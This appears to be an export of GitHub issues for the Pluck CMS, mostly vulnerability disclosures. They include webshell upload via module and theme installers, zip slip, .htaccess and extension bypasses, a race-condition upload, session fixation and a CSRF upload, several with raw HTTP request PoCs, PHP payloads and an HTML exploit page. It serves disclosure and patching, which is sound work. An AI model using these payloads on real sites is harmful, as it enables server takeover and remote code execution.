(cc @huntr-helper) | Found a possible security concern | https://api.github.com/repos/pluck-cms/pluck/issues/112/comments | 1 | 2021-12-16T07:26:44Z | 2021-12-24T16:33:15Z | https://github.com/pluck-cms/pluck/issues/112 | 1,081,858,251 | 112 |
[
"pluck-cms",
"pluck"
] | php5.2.17
1.Arbitrary code execution
I uploaded webshell.zip in the module installation.
Visit 192.168.1.128/pluck4.743/data/modules/webshell/webshell.php
2.The file contains vulnerabilities
After uploading the webshell.zip file in the module installation, I visit admin.php and he will automatically include the / data/modules/webshell/webshell.php file I uploaded.
After uploading the webshell.zip file successfully, it is found that http://192.168.1.128/pluck4.743/admin.php?action=managemodules automatically contains "D:\ phpStudy\ PHPTutorial\ WWW\ pluck4.743\ data\ modules\webshell\webshell.php".
| There are arbitrary code execution vulnerabilities and file inclusion vulnerabilities in the module installation of pluck4.743. | https://api.github.com/repos/pluck-cms/pluck/issues/111/comments | 1 | 2021-12-15T06:53:33Z | 2021-12-15T06:54:09Z | https://github.com/pluck-cms/pluck/issues/111 | 1,080,643,342 | 111 |
[
"pluck-cms",
"pluck"
] | php5.2.17
1.Arbitrary code execution
I uploaded webshell.zip in the module installation.
Visit 192.168.1.128/pluck-4.74-dev5/data/modules/webshell/webshell.php
2.The file contains vulnerabilities
After uploading the webshell.zip file in the module installation, I visit admin.php and he will automatically include the / data/modules/webshell/webshell.php file I uploaded.
After uploading the webshell.zip file successfully, it is found that http://192.168.1.128/pluck-4.74-dev5/admin.php?action=managemodules automatically contains "D:\ phpStudy\ PHPTutorial\ WWW\ pluck-4.74-dev5\ data\ modules\webshell\webshell.php".
| There are arbitrary code execution vulnerabilities and file inclusion vulnerabilities in the module installation of pluck4.74-dev5. | https://api.github.com/repos/pluck-cms/pluck/issues/110/comments | 1 | 2021-12-15T06:46:11Z | 2021-12-15T06:54:24Z | https://github.com/pluck-cms/pluck/issues/110 | 1,080,636,091 | 110 |
[
"pluck-cms",
"pluck"
] | php5.2.17
1.Arbitrary code execution
I uploaded webshell.zip in the module installation.
Visit 192.168.1.128/pluck-4.7.16dev4/data/modules/webshell/webshell.php
2.The file contains vulnerabilities
After uploading the webshell.zip file in the module installation, I visit admin.php and he will automatically include the / data/modules/webshell/webshell.php file I uploaded.
After uploading the webshell.zip file successfully, it is found that http://192.168.1.128/pluck-4.7.16dev4/admin.php?action=managemodules automatically contains "D:\ phpStudy\ PHPTutorial\ WWW\ pluck-4.7.16dev4\ data\ modules\webshell\webshell.php".
| There is an arbitrary code execution vulnerability in the module installation of pluck4.7.16-dev4 and the file contains | https://api.github.com/repos/pluck-cms/pluck/issues/109/comments | 1 | 2021-12-15T06:40:13Z | 2021-12-15T06:52:40Z | https://github.com/pluck-cms/pluck/issues/109 | 1,080,631,586 | 109 |
[
"pluck-cms",
"pluck"
] | php5.2.17
1.Arbitrary code execution
I uploaded webshell.zip in the module installation.
Visit 192.168.1.128/pluck-4.7.16dev3/data/modules/webshell/webshell.php
2.The file contains vulnerabilities
After uploading the webshell.zip file in the module installation, I visit admin.php and he will automatically include the / data/modules/webshell/webshell.php file I uploaded.
After uploading the webshell.zip file successfully, it is found that http://192.168.1.128/pluck-4.7.16dev3/admin.php?action=managemodules automatically contains "D:\ phpStudy\ PHPTutorial\ WWW\ pluck-4.7.16dev3\ data\ modules\webshell\webshell.php".
| Arbitrary code execution and included files exist in the module installation of 4.7.16-dev3 | https://api.github.com/repos/pluck-cms/pluck/issues/108/comments | 1 | 2021-12-15T04:37:30Z | 2021-12-15T06:52:00Z | https://github.com/pluck-cms/pluck/issues/108 | 1,080,556,801 | 108 |
[
"pluck-cms",
"pluck"
] | php5.2.17
1.Arbitrary code execution
I uploaded webshell.zip in the module installation.
He will automatically extract it to "D:\ phpStudy\ PHPTutorial\ WWW\ pluck-4.7.16dev2\ data\ modules"
Visit 192.168.1.128/pluck-4.7.16dev2/data/modules/webshell/webshell.php
2.The file contains vulnerabilities
After uploading the webshell.zip file in the module installation, I visit admin.php and he will automatically include the / data/modules/webshell/webshell.php file I uploaded.
| There is arbitrary code execution and file containing in the module installation of 4.7.16-dev2 | https://api.github.com/repos/pluck-cms/pluck/issues/107/comments | 11 | 2021-12-15T04:07:21Z | 2021-12-15T07:18:33Z | https://github.com/pluck-cms/pluck/issues/107 | 1,080,540,229 | 107 |
[
"pluck-cms",
"pluck"
] | I uploaded any file in the "manage Files" section, where I uploaded "webshell.zip".
Find the unzipped file in the upload folder
> The content in the 2.php file is "<? php phpinfo ();? >"
url: 192.168.1.128/pluck4.7.16dev1/data/modules/webshell/2.php
| Pluck-4.7.16dev1 admin background exists a remote command execution vulnerability when uploading files | https://api.github.com/repos/pluck-cms/pluck/issues/106/comments | 1 | 2021-12-13T13:52:41Z | 2021-12-13T16:18:44Z | https://github.com/pluck-cms/pluck/issues/106 | 1,078,557,820 | 106 |
[
"pluck-cms",
"pluck"
] | Issue Summary
Pluck's module and installmodule are vulnerable to directory traversal (via zip slip) and arbitrary code execution.
php version: php5.2.1
Detailed Description
There is a problem in Pluuck 4.7.15. / data/inc/module_install.php allows remote malicious users to upload malicious zip files to traverse directories outside the expected environment, which may allow execution of arbitrary code that will run with the privileges of the user assigned to the Web server.
Vulnerability url:
http://192.168.1.128/pluck4.7.15/admin.php?action=installmodule
Vulnerability POC:
```
POST /pluck4.7.15/admin.php?action=installmodule HTTP/1.1
Host: 192.168.1.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.128/pluck4.7.15/admin.php?action=installmodule
Cookie: PHPSESSID=9f912ae90a81102465d8590f4f007e8e
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------26434200512599
Content-Length: 478
-----------------------------26434200512599
Content-Disposition: form-data; name="sendfile"; filename="webshell.zip"
Content-Type: application/x-zip-compressed
PK
-----------------------------26434200512599
Content-Disposition: form-data; name="submit"
Upload
-----------------------------26434200512599--
```
arbitrary code execution
```
GET /pluck4.7.15/data/modules/webshell/2.php HTTP/1.1
Host: 192.168.1.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=9f912ae90a81102465d8590f4f007e8e
Connection: close
```
Impact
This vulnerability allows remote code execution and directory traversal under the privileges of the user running the Web server application. | Pluck 4.7.15 - Zip Slip Vulnerability | https://api.github.com/repos/pluck-cms/pluck/issues/105/comments | 6 | 2021-12-13T07:05:38Z | 2021-12-13T13:57:03Z | https://github.com/pluck-cms/pluck/issues/105 | 1,078,159,189 | 105 |
[
"pluck-cms",
"pluck"
] | Description: Admin can install theme packages that have inserted functions that allow remote code execution.
Steps to Reproduction:
1. insert the executable code into the file theme file
2. pack the theme folder and go to install theme
3. the code is executed when admin clicks on `return to the theme page` . and it always executes every time admin accesses module choose theme
Image:
1. insert the executable code
<img width="673" alt="image" src="https://user-images.githubusercontent.com/31820707/130599173-44bfbd66-180b-4e7c-9ec7-e63185467b0b.png">
2. upload & exec shell
<img width="1134" alt="image" src="https://user-images.githubusercontent.com/31820707/130600173-ec8fbc02-2c72-4dc2-a0e1-a8968445b947.png">
PoC :
https://youtu.be/p5G9e0eNF_4 | Pluck-4.7.16-dev Admin exists a remote code execution when install new theme | https://api.github.com/repos/pluck-cms/pluck/issues/104/comments | 2 | 2021-08-24T10:22:22Z | 2021-08-25T04:46:58Z | https://github.com/pluck-cms/pluck/issues/104 | 977,944,576 | 104 |
[
"pluck-cms",
"pluck"
] | In the readme the Link to the Demo-Link is broken. | Demo-Link redirects to Wiki | https://api.github.com/repos/pluck-cms/pluck/issues/103/comments | 3 | 2021-07-13T20:08:11Z | 2021-07-19T08:20:53Z | https://github.com/pluck-cms/pluck/issues/103 | 943,787,147 | 103 |
[
"pluck-cms",
"pluck"
] | All admin parts which use inline styles need to be rewritten towards style sheets.
When CSP is enabled the site is not correctly loaded. | Admin not compatible with CSP | https://api.github.com/repos/pluck-cms/pluck/issues/102/comments | 0 | 2021-04-24T19:01:16Z | 2021-04-24T19:01:16Z | https://github.com/pluck-cms/pluck/issues/102 | 866,815,217 | 102 |
[
"pluck-cms",
"pluck"
] | **Issue Summary**
Pluck's update system deliberately skips SSL certificate validation.
**Detailed Description**
Within update_applet.php is the following code:
```
// Dont check ssl certifical
curl_setopt($geturl, CURLOPT_SSL_VERIFYPEER, false);
```
This ensures peer SSL certificates are never valdiated.
**Impact**
In theory, this vulnerability can make the Pluck's update system susceptible to Man-in-the-middle attacks. | Pluck 4.7.15 - Missing SSL Certificate Validation in update_applet.php | https://api.github.com/repos/pluck-cms/pluck/issues/101/comments | 3 | 2021-04-21T17:59:48Z | 2021-12-26T04:06:21Z | https://github.com/pluck-cms/pluck/issues/101 | 864,135,418 | 101 |
[
"pluck-cms",
"pluck"
] | **Issue Summary**
Pluck's module and theme installers are vulnerable to directory traversal (via zip slip).
**Detailed Description**
It is possible to upload a malicious zip file in order to traverse directories outside of the intended environment, potentially allowing arbitrary code execution which will run with the permissions of the user assigned to the webserver.
**Reproduction Steps**
1. Using the [evilarc tool](https://github.com/ptoomey3/evilarc), create a zip archive containing a PHP file with a depth of 2 `(python evilarch.py shell.php -d 2 -f wolf.zip)`
2. Visit `<pluck_domain>/admin.php?action=themeinstall `and upload the malicious `wolf.zip` you created.
3. Visit `<pluck_domain>/shell.php` and you now have a PHP shell.
**Impact**
This vulnerability makes remote code execution under the privileges of the user running the webserver application possible. | Pluck 4.7.15 - Zip Slip Vulnerability | https://api.github.com/repos/pluck-cms/pluck/issues/100/comments | 2 | 2021-04-21T04:09:29Z | 2021-04-26T18:17:23Z | https://github.com/pluck-cms/pluck/issues/100 | 863,429,744 | 100 |
[
"pluck-cms",
"pluck"
] | **Issue Summary**
A session-fixation vulnerability exists within Pluck's administrative login system which can be abused to retain a valid login session even after an administrator has changed their password.
**Detailed Description**
It is possible to arbitrarily set the session ID of Pluck's "PHPSESSID" cookie. This cookie is used for maintaining administrative login sessions. This can be used in a session-fixation attack, for example, to sustain unauthorized access to the CMS after already gaining it through a primary vulnerability. Furthermore, Pluck does not expire sessions in a timely manner nor are sessions bound in any other way. This also allows an easier brute force attack, as it is possible to brute-force session IDs without rate-limits imposed by the normal login process.
<img width="1633" alt="sessfix" src="https://user-images.githubusercontent.com/2632588/115493762-3579f800-a219-11eb-8f34-6dc7071fa85e.png">
**Reproduction Steps**
1. From Google Chrome, open the developer tools menu, navigate to: Application > Storage -> Cookies -> <PLUCK_DOMAIN>
2. Change the value of the "PHPSESSID" cookkie to an arbitrary value, such as "wolf".
3. Login to the pluck administrative panel, by visiting <PLUCK_DOMAIN>/login.php and login to the panel.
4. On a new browser, repeat steps 1 and 2.
5. On step 3, you will be given access without being prompted for administrative credentials.
**Impact**
After any primary exploit has occurred, the session fixation attack can be used in order to sustained unauthorized access. Because Pluck does not invalidate prior sessions after a password change, access can be sustained even after an administrator performs regular remediation attempts such as resetting their password. | Pluck 4.7.15 - Session Fixation Vulnerability | https://api.github.com/repos/pluck-cms/pluck/issues/99/comments | 4 | 2021-04-21T03:45:08Z | 2021-04-30T23:32:01Z | https://github.com/pluck-cms/pluck/issues/99 | 863,419,795 | 99 |
[
"pluck-cms",
"pluck"
] | I uploaded any file in the "manage files" section, here I uploaded a "1.jpg".
Found two files at the upload folder.
Looked at the source code for the delete file function. On lines 21 and 22 of "data/in/deletefile.php", the logic is that the file ".htaccess" is not allowed to be deleted. But it can be bypassed.
I clicked on the delete button on the page for "1.jpg" and sniffered the packet.
Change the value of the request parameter "var" to ".Htaccess" (the suffix name is not case sensitive in Windows)
".Htaccess" is already in the trash.
The ".htaccess" in the upload folder has been copied to the trash folder.
Looked at the source code for the upload function, lines 34 to 52 of "data/in/file.php".
The code logic is as follows.
1. First check if the file suffix is ".htaccess".
2. then check if the file suffix is in the blacklist.
3. If the suffix is in the blacklist, add the suffix ".txt" for renaming and give permission.
4. If the suffix name is not in the blacklist, then give permission directly.
Use race condition for attacks.
First I create a "phpinfo.php" file.
poc:
<?php phpinfo();?>
Upload the file and sniffer a packet of the upload request and send it to intruder (add variable a=1 to keep sniffering the request packet).
Then sniffer a packet that accesses the file and send it to intruder.
Both intruder types are selected as "Numbers" and the number is 10000.
Threads are set to 20.
Start the attack, when the status of the request to access the file is 200, it means that the file was uploaded successfully and the code was executed.
Upload webshell with race condition and successfully gain access to the server.
exploit：
(Note: the ".php" file only exists when the race condition is in place, if the race condition is stopped the ".php" file will still be a ".php.txt" file, so the shell will disconnect. The shell will then disconnect. (So maintaining permissions requires that race condition be maintained at all times)
From: huanyu@tsign.cn | Pluck-4.7.15 admin background exists a remote command execution vulnerability when uploading files | https://api.github.com/repos/pluck-cms/pluck/issues/98/comments | 11 | 2021-03-03T16:03:21Z | 2022-02-02T07:56:16Z | https://github.com/pluck-cms/pluck/issues/98 | 821,248,159 | 98 |
[
"pluck-cms",
"pluck"
] | Hello,
I just added latest SEO module (0.4) do a fresh installation of pluck and got the following PHP notice:
`Notice: Trying to access array offset on value of type null in DOCUMENTROOT/data/modules/seo/seo.php on line 24`
Some test showed, that accessing the global `$lang` array from within SEO module is impossible.
It seems cause by declaration of any function named `*_url_prefix` within `seo.php. $lang` is only accessible, if all those functions are removed.
Regards
| PHP warning when SEO module is added to fresh pluck 4.7.15 installation | https://api.github.com/repos/pluck-cms/pluck/issues/97/comments | 2 | 2021-01-12T03:01:27Z | 2021-02-12T12:52:34Z | https://github.com/pluck-cms/pluck/issues/97 | 783,866,504 | 97 |
[
"pluck-cms",
"pluck"
] | # Vulnerability Description
I have observed that it is possible to upload php file on the system through `manage files` functionality which leads to compromise the system. As I'm able to upload malicious php file with `.phar` extension, and able to execute php code on the server.
# Observation
On line 44-45 of `files.php`, I observed that the application uses blacklist extensions to restrict the php malicious file which can be easily bypassed with `.phar` extension.
# Steps to Reproduce
1) Login into the application's admin panel.
2) Navigate to the `http://<server>/admin.php?action=files`.
3) Now upload the php file with `.phar` extension, for e.g. `info.phar`.
4) After uploading the php file, navigate to the `http://<server>/files/info.phar`.
# Mitigation
* Rename the uploaded files to some random filenames, remove the file extension and then append your allowed file extension.
* Whitelisted extension approach should be applied instead of blacklisting.
* Correct use of `.htaccess` should be applied as shown below for preventing the php file execution in upload directory.
```
php_flag engine off
```
# Reference
https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
https://www.php.net/manual/en/apache.configuration.php
#### Tested Version: 4.7.13
#### Vulnerable Version <= 4.7.13
#### Note: This is bypass of previous discovered File Upload vulnerability. | Remote Code Execution via File Upload Restriction Bypass | https://api.github.com/repos/pluck-cms/pluck/issues/96/comments | 6 | 2020-12-01T18:26:57Z | 2021-02-08T08:44:08Z | https://github.com/pluck-cms/pluck/issues/96 | 754,624,608 | 96 |
[
"pluck-cms",
"pluck"
] | XSS cross site vulnerability can occur during installation
1.
2.
| XSS vulnerable | https://api.github.com/repos/pluck-cms/pluck/issues/95/comments | 1 | 2020-03-04T11:03:00Z | 2020-03-04T11:05:54Z | https://github.com/pluck-cms/pluck/issues/95 | 575,313,469 | 95 |
[
"pluck-cms",
"pluck"
] | After the upgrade to version 5.1.4 of TinyMCE the new page is no longer working.
functions.php needs to call a different function to add the "Pluck Actions" button.
the editor.AddButton() is deprecated
This happens on a new install or a total refresh of the cache.
Tested in Safari, Chrome, Vivaldi
| tinyMCE not loading | https://api.github.com/repos/pluck-cms/pluck/issues/94/comments | 1 | 2020-01-28T11:06:13Z | 2020-01-29T08:54:29Z | https://github.com/pluck-cms/pluck/issues/94 | 556,136,047 | 94 |
[
"pluck-cms",
"pluck"
] | Hi everyone, we're old Pluck users and we wanna upgrade our ODFAS project site (including settings, theme, pages, files, etc.): http://www.forart.it/progetti/ODFAS/
The site is now managed by Super Pluck Power Pack 4.6.4 but we can't undestand if is safe to just overwrite files or is better to backup and re-install.
Thanks in advice to anyone will help.
FORART NPO | [HELP] Upgrade/backup from old version | https://api.github.com/repos/pluck-cms/pluck/issues/93/comments | 21 | 2020-01-24T11:21:25Z | 2020-09-05T14:04:02Z | https://github.com/pluck-cms/pluck/issues/93 | 554,680,545 | 93 |
[
"pluck-cms",
"pluck"
] | Step1: pages - new page - save and exit
Step1: change seo_name like "seo_name=...................."
```
POST /pluck4711/admin.php?action=editpage HTTP/1.1
Host: 192.168.1.23
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.23/pluck4711/admin.php?action=editpage
Content-Type: application/x-www-form-urlencoded
Content-Length: 148
DNT: 1
Connection: close
Cookie: PHPSESSID=b742v7duoaihe7e5lrfh365597
Upgrade-Insecure-Requests: 1
title=1112312312311&seo_name=....................&content=123132132&description=&keywords=&hidden=no&sub_page=&theme=default&save_exit=Save+and+Exit
```
step3: the website can not reload
data/settings/pages
| Pluck v4.7.11 Issue | https://api.github.com/repos/pluck-cms/pluck/issues/92/comments | 3 | 2019-12-19T16:15:20Z | 2019-12-22T19:15:11Z | https://github.com/pluck-cms/pluck/issues/92 | 540,413,591 | 92 |
[
"pluck-cms",
"pluck"
] | Pluck-4.7.11 admin background exists a remote command execution vulnerability when uploading files
Proof
step1: login -> pages -> manage files
upload .htaccess file to turn files/.htaccess to .htaccess.txt
step2: throw .htaccess.txt into trash
step3: upload shell code
```
POST /pluck4711/admin.php?action=files HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------18467633426500
Content-Length: 339
Connection: close
Referer: http://127.0.0.1/pluck4711/admin.php?action=files
Cookie: PHPSESSID=50oi7cqaj4hrmj6pqiufa57lij
Upgrade-Insecure-Requests: 1
-----------------------------18467633426500
Content-Disposition: form-data; name="filefile"; filename="pass07.php......"
Content-Type: application/octet-stream
<?php echo phpinfo();?>
-----------------------------18467633426500
Content-Disposition: form-data; name="submit"
Upload
-----------------------------18467633426500--
```
step4: view http://127.0.0.1/pluck4711/files/pass07.php
| Pluck-4.7.11 admin background exists a remote command execution vulnerability when uploading files | https://api.github.com/repos/pluck-cms/pluck/issues/91/comments | 10 | 2019-12-19T15:37:06Z | 2020-01-08T06:45:09Z | https://github.com/pluck-cms/pluck/issues/91 | 540,390,005 | 91 |
[
"pluck-cms",
"pluck"
] | After the installation is successful, go to the management background
Then upload images.zip
then view file to execute command
| Pluck-4.7.11 admin background exists a remote command execution vulnerability when uploading files | https://api.github.com/repos/pluck-cms/pluck/issues/90/comments | 1 | 2019-12-18T16:36:00Z | 2019-12-19T00:19:22Z | https://github.com/pluck-cms/pluck/issues/90 | 539,791,516 | 90 |
[
"pluck-cms",
"pluck"
] | Empty trash do not remove files - only pages and images. | Trying to empty trashcan fail to remove files | https://api.github.com/repos/pluck-cms/pluck/issues/88/comments | 1 | 2019-11-22T10:07:45Z | 2019-11-23T16:28:59Z | https://github.com/pluck-cms/pluck/issues/88 | 527,103,535 | 88 |
[
"pluck-cms",
"pluck"
] | Hello ,
After successful manual installation of Pluck 4.7.10 . I get the following issue while accessing the admin panel i.e :
Notice: Undefined index: SCRIPT_URI in /{{PATH}}/{{TO}}/{{PLUCK}}/data/inc/functions.admin.php on line 654
Notice: Undefined index: HTTP_REFERER in /{{PATH}}/{{TO}}/{{PLUCK}}/data/inc/functions.admin.php on line 655
Warning: Cannot modify header information - headers already sent by (output started at /{{PATH}}/{{TO}}/{{PLUCK}}/data/inc/functions.admin.php:654) in /{{PATH}}/{{TO}}/{{PLUCK}}/admin.php on line 305
I checked by print_r($_SERVER) to check whether these superglobal variables are present and I found that these aren't present. As the function requestedByTheSameDomain() in /{{PATH}}/{{TO}}/{{PLUCK}}/data/inc/functions.admin.php uses '$_SERVER['SCRIPT_URI']' and '$_SERVER['HTTP_REFERER']' for parsing URLs and these aren't found, so it throws the above issue.
I tested the script on the following environment :
PHP Version - 7.0
Apache Version - 2.2.34
O.S - CentOS release 6.4 (Final)
I also tested on another server with same above configuration and on Apache 2.4.39. There too I get the same issue. There too i checked with print_r for '$_SERVER['SCRIPT_URI']' and '$_SERVER['HTTP_REFERER']' weren't present.
Could you please check and replicate this issue at your end and fix this asap? | Pluck Version 4.7.10 Issue | https://api.github.com/repos/pluck-cms/pluck/issues/87/comments | 5 | 2019-11-08T08:24:25Z | 2019-11-12T09:33:15Z | https://github.com/pluck-cms/pluck/issues/87 | 519,877,231 | 87 |
[
"pluck-cms",
"pluck"
] | Pluck-4.7.10 admin background exists a remote command execution vulnerability
it happens when restore file from trashcan,and the restoring file has the same with one of the files in uploaded files dir
the coding flaw is in file /pluck/data/inc/trashcan_restoreitem.php at line 54
when $var1 is 'shell.php.txt', here $filename will get value 'shell' and $extension will get value 'php', and then concat with the string '_copy' we will get the final filename with 'shell_copy.php'
Proof
step1: login -> pages -> manage files
upload file with name shell.php.txt
upload success
step2: delete file to trashcan
step3: upload the same file again
step4: restore the file from trashcan, and the restored file is renamed as shell_copy.php
step5: visit webshell
note: operate with "manage images" can do the same as it has the same coding flaw at line 76
| Pluck-4.7.10 admin background exists a remote command execution vulnerability | https://api.github.com/repos/pluck-cms/pluck/issues/86/comments | 3 | 2019-10-23T03:25:48Z | 2019-11-01T19:00:21Z | https://github.com/pluck-cms/pluck/issues/86 | 511,047,937 | 86 |
[
"pluck-cms",
"pluck"
] | pluck-cms<=4.7.10-dev4 admin background exists a remote command execution vulnerability when install a theme
Demo:
After the installation is successful, go to the management background.
options->choose theme->install theme
vul-url：
http://192.168.80.1/pluck-4.7.10-dev3/admin.php?action=themeinstall
According to the default template, the theme is faked with the content of the theme shell.php.zip as follows:
Insert phpinfo(); in the theme.php file;
upload
```
POST /pluck-4.7.10-dev3/admin.php?action=themeinstall HTTP/1.1
Host: 192.168.80.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.80.1/pluck-4.7.10-dev3/admin.php?action=themeinstall
Cookie: PHPSESSID=en364hjlvg84vpdvmv9gdlc0h2
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------10771789627341
Content-Length: 2441
-----------------------------10771789627341
Content-Disposition: form-data; name="sendfile"; filename="shell.php.zip"
Content-Type: application/x-zip-compressed
PK 楽VO
shell.php/PK 漇VO?K? shell.php/info.phpe幧
?嗭吘肞<j呼?鐴D$$?殟,趱M*侾標7薬p抡U譣??
?0?z?N%???
?.?魫G_?D尞锖i氌`祂?&犇 梿}? ?顪m?c]照j>胜?4A燫m??桯[?>?镗G4慺蓈3阒F魠?PK 嫇OO蘺貔{ ? shell.php/style.css誚M彌0=o~叆≧籞睝毻*?鞧玘zj?喐k02&洿?? 唋音凿惸虥?笃N溃=??p鴾^f?r婆
M?险{=箞y&?鞼鑷 An圖呔贸&丨^皭b懶l呠|窞糔&x舎?m桡镛C?;镈$?K?霥@8[ZPIⅢ?攖K蚊n鴸?簟z 囄R挄h扮?煦tt斤?杞煆驱3:?郚拃伹NMQ2厡h? 檢n垭"荙D长? ?歭?y嬟〕
罸璤h$7+碶ㄤ脩0U蘺A祎A啀狤Fb群p?&戒虠?]_"鐌舚?@椬-?u?笖<y 挛銫頥ク6Do莀茇猰?緂??靷?Jw咁n栽讘<?Es貦汛竻覦嬄颖k墐偝瞆| !紂[垄 ZN?刅}恶郎溃+=pGU菥|/梿倩???MS紮O业Z, 嵻3葥駥 ^蕚Fa??\@泴?傗?氶﹚ x桷挩?钨(亵袪昀鯫2??蛸_江陰踴灶歳鐼_鳜og蹪~顳衜碬K瞍m覐]@-锾?鐠游J璋梀伶c;h选To1p?+?0V蠁﹊"鹁襆臣琄b铧;A1籅_ ?IC|??NA?&fわ?姚.潥4鉵5u尕o蝜?,?ぢ?蟲?黋 _炧膿胬7?偶睊>I*盡{;Dk嘜乤遥墽Y摊写縛?駗囐Y昝d脂鷺b闔h|?蕠瓞F/?霭澅琽瞀盡k睬辵4_簝I鸜捚?ON扇惋帖?闂鷍 8?$=睋
瀭?T窰1[ m觊D))
?还^gT € 郪3
蚾€i擣 服h爓,(英? _!婀i線郯*GO.%W抝c摫胎?B痤lAⅤ萿酊PK 筍VO鱪鷸? ? shell.php/theme.php}S羘贎=?橒睩*?9?寓:%FmOh?鉛斓e痗慂褫怠敀驸蠜麈i< M?J ?BY*F圖?JI?牟D\猟飔; #!戂d避豸+锳V 顒采}C 嶳 ???BF欇v;ot=?
~?佌鷵繕傉斠Y0?_? \?<〣剨淫?+V*浚串kЬu瞓K僄?* 襼賞 鍀;?Md9~C? -?Mw 撣闭n?~鵼B苪l`敞7)*f聻?=6=g|o"?
3轠aぎMv5奭PB%h,渇擝aS秢瓡w@=適次M适&UB> I剏睵塛詸kX??欎?Ju磛髺禍m祐 灛輁X; i:.@V 矷F3?u\?笶蒊濧\`t鰨?羭硚鬗M箔悗?忨T?e 鼈<锌馏 g鐢'U右\曞5瘹鉙<^5w琮PK? 楽VO
$ shell.php/
柭萵€堈梷Kt€堈袘€]y堈PK? 漇VO?K? $ ( shell.php/info.php
4=t€堈u7瘈堈]?|堈PK? 嫇OO蘺貔{ ? $ shell.php/style.css
€怷DC冋)A7瘈堈l洹|堈PK? 筍VO鱪鷸? ? $ ? shell.php/theme.php
9晸€堈yg7瘈堈?察z堈PK ? ?
-----------------------------10771789627341
Content-Disposition: form-data; name="submit"
Upload
-----------------------------10771789627341--
```
#### 1.default theme
View site
#### 2.choose shell.php theme
View site http://192.168.80.1/pluck-4.7.10-dev3/
phpinfo();Function is executed
***The vulnerability exists in the latest pluck-4.7.10-dev2 pluck-4.7.10-dev3. The pluck-4.7.10-dev4 version cannot be uploaded due to bugs in the program, but in theory the RCE vulnerability exists. In pluck-4.7.10-dev4 version***
| pluck-cms<=4.7.10-dev4 admin background exists a remote command execution vulnerability when install a theme | https://api.github.com/repos/pluck-cms/pluck/issues/85/comments | 2 | 2019-10-22T03:15:36Z | 2019-10-22T07:17:36Z | https://github.com/pluck-cms/pluck/issues/85 | 510,405,792 | 85 |
[
"pluck-cms",
"pluck"
] | This vulnerability applies to php5.2. X
After the installation is successful, go to the management background
Then upload shell.php, It will be changed to shell.php.txt
Then upload shell.php again
Shell.php has not been changed to shell.php.txt
then view shell.php
| Pluck-4.7.10-dev2 admin background exists a remote command execution vulnerability when uploading files | https://api.github.com/repos/pluck-cms/pluck/issues/84/comments | 1 | 2019-10-21T11:36:30Z | 2019-11-01T18:59:31Z | https://github.com/pluck-cms/pluck/issues/84 | 509,905,689 | 84 |
[
"pluck-cms",
"pluck"
] | Vulnerability location：
/data/inc/file.php line:42
If the file name is '.htaccess', the strpos function returns a result of 0.
Demo:
Upload these two files in the management file interface.
Access in /files/1.txt.
Successful execution.
Then upload attack code.
Successfully obtained the shell.
Poc：
```
.htaccess
<FilesMatch "1">
SetHandler application/x-httpd-php
</FilesMatch>
``` | Pluck-4.7.10-dev2 admin background exists a remote command execution vulnerability in the management file interface. | https://api.github.com/repos/pluck-cms/pluck/issues/83/comments | 5 | 2019-10-21T09:08:10Z | 2020-05-01T07:25:08Z | https://github.com/pluck-cms/pluck/issues/83 | 509,831,136 | 83 |
[
"pluck-cms",
"pluck"
] | This problem was found in Pluck v4.7.10-dev2. This CSRF vulnerability can add a txt file via /admin.php?action=abc.
poc
```
<html>
<body>
<script>history.pushState('', '', '/')</script>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/172.16.1.234\/pluck\/admin.php?action=files", true);
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------18467633426500");
xhr.withCredentials = true;
var body = "-----------------------------18467633426500\r\n" +
"Content-Disposition: form-data; name=\"filefile\"; filename=\"1.txt\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"hacker\r\n" +
"-----------------------------18467633426500\r\n" +
"Content-Disposition: form-data; name=\"submit\"\r\n" +
"\r\n" +
"Upload\r\n" +
"-----------------------------18467633426500--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
```
Verification
The uploaded file is stored in the /files/ directory.
